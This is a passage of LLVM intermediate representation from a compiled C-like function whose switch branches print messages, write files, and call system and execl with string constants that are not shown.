%20 = tail call i32* @fopen(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.11, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.4, i64 0, i64 0))
%21 = tail call i64 @fwrite(i8* getelementptr inbounds ([28 x i8], [28 x i8]* @.str.12, i64 0, i64 0), i64 27, i64 1, i32* %20)
%22 = tail call i32* @fopen(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.13, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.4, i64 0, i64 0))
%23 = tail call i64 @fwrite(i8* getelementptr inbounds ([44 x i8], [44 x i8]* @.str.14, i64 0, i64 0), i64 43, i64 1, i32* %22)
%24 = tail call i32 (i8*, i8*, i8*, ...) @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.15, i64 0, i64 0), i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.16, i64 0, i64 0), i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.17, i64 0, i64 0), i8* null)
%25 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([7 x i8], [7 x i8]* @str.68, i64 0, i64 0))
%26 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([21 x i8], [21 x i8]* @str.69, i64 0, i64 0))
br label %65
27: ; preds = %1
%28 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @str.74, i64 0, i64 0))
%29 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([21 x i8], [21 x i8]* @str.75, i64 0, i64 0))
%30 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([27 x i8], [27 x i8]* @str.62, i64 0, i64 0))
%31 = tail call i32 @system(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.21, i64 0, i64 0))
%32 = tail call i32 @system(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.22, i64 0, i64 0))
%33 = tail call i32 @system(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.23, i64 0, i64 0))
%34 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([19 x i8], [19 x i8]* @str.63, i64 0, i64 0))
%35 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([18 x i8], [18 x i8]* @str.64, i64 0, i64 0))
br label %65
36: ; preds = %1
%37 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @str.74, i64 0, i64 0))
%38 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([21 x i8], [21 x i8]* @str.75, i64 0, i64 0))
%39 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([29 x i8], [29 x i8]* @str.57, i64 0, i64 0))
%40 = tail call i32* @fopen(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.4, i64 0, i64 0))
%41 = tail call i64 @fwrite(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.27, i64 0, i64 0), i64 24, i64 1, i32* %40)
%42 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([7 x i8], [7 x i8]* @str.68, i64 0, i64 0))
%43 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([31 x i8], [31 x i8]* @str.59, i64 0, i64 0))
br label %65
44: ; preds = %1
%45 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @str.74, i64 0, i64 0))
%46 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([21 x i8], [21 x i8]* @str.75, i64 0, i64 0))
%47 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([23 x i8], [23 x i8]* @str.54, i64 0, i64 0))
%48 = tail call i32 (i8*, i8*, i8*, ...) @execl(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.30, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.31, i64 0, i64 0), i8* null)
br label %65
49: ; preds = %1
%50 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @str.74, i64 0, i64 0))
%51 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([21 x i8], [21 x i8]* @str.75, i64 0, i64 0))
%52 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([14 x i8], [14 x i8]* @str.46, i64 0, i64 0))
%53 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([83 x i8], [83 x i8]* @str.47, i64 0, i64 0))
%54 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([50 x i8], [50 x i8]* @str.48, i64 0, i64 0))
%55 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([58 x i8], [58 x i8]* @str.49, i64 0, i64 0))
%56 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([51 x i8], [51 x i8]* @str.50, i64 0, i64 0))
%57 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([59 x i8], [59 x i8]* @str.51, i64 0, i64 0))
%58 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([46 x i8], [46 x i8]* @.str.38, i64 0, i64 0))
br label %65
59: ; preds = %1
%60 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @str.74, i64 0, i64 0))
%61 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @str.42, i64 0, i64 0))
%62 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([22 x i8], [22 x i8]* @str.43, i64 0, i64 0))
br label %65
63: ; preds = %1
%64 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([21 x i8], [21 x i8]* @.str.41, i64 0, i64 0), i32 %0)
br label %65
65: ; preds = %63, %59, %49, %44, %36, %27, %16, %10, %2
ret void
}